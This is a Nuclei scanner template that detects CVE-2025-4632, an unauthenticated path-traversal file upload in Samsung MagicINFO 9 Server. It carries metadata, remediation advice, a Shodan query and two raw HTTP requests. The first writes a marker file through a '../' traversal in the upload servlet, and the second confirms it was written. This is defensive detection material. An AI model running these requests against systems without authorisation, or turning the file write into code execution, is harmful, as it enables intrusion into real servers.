id: CVE-2025-4632

info:
  name: Samsung MagicINFO 9 Server - File Upload & Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1052 allows attackers to write arbitrary file as system authority.
  impact: |
    Unauthenticated attackers can write arbitrary files with system authority through path traversal in the file upload endpoint, achieving remote code execution.
  remediation: |
    Upgrade Samsung MagicINFO 9 Server to version 21.1052 or later that properly validates file upload paths.
  reference:
    - https://arcticwolf.com/resources/blog/follow-up-samsung-patches-zero-day-vulnerability-magicinfo-9-server-cve-2025-4632/
    - https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/
    - https://www.huntress.com/blog/rapid-response-samsung-magicinfo9-server-flaw
    - https://nvd.nist.gov/vuln/detail/cve-2025-4632
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-4632
    cwe-id: CWE-22
    epss-score: 0.23953
    epss-percentile: 0.97548
    cpe: cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*
  metadata:
    vendor: samsung
    product: magicinfo_9_server
    shodan-query: "Server: magicinfo premium server"
  tags: cve,cve2025,file-upload,kev,rce,intrusive,vkev,vuln

variables:
  filename: "{{rand_text_alpha(6)}}"
  deviceType: "{{rand_text_alpha(6)}}"
  deviceModelName: "{{rand_text_alpha(6)}}"
  swVer: "{{rand_int(100, 999)}}"
  marker: "{{rand_text_alpha(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.html&deviceType={{deviceType}}&deviceModelName={{deviceModelName}}&swVer={{swVer}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        {{marker}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(server, "MagicInfo Premium Server")'
        condition: and
        internal: true

  - raw:
      - |
        GET /MagicInfo/{{filename}}.html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{marker}}")'
          - "status_code == 200"
        condition: and
# digest: 490a00463044022013bfa6d234795f9a8bb1fb3cf2fb0571261e33e44ac1745ef688846764a339e802203bb3d9f5cf20d7273dc62b1430dde31e06457cdfe9ff6ca572179aea170be1e1:922c64590222798bb761d5b6d8e72950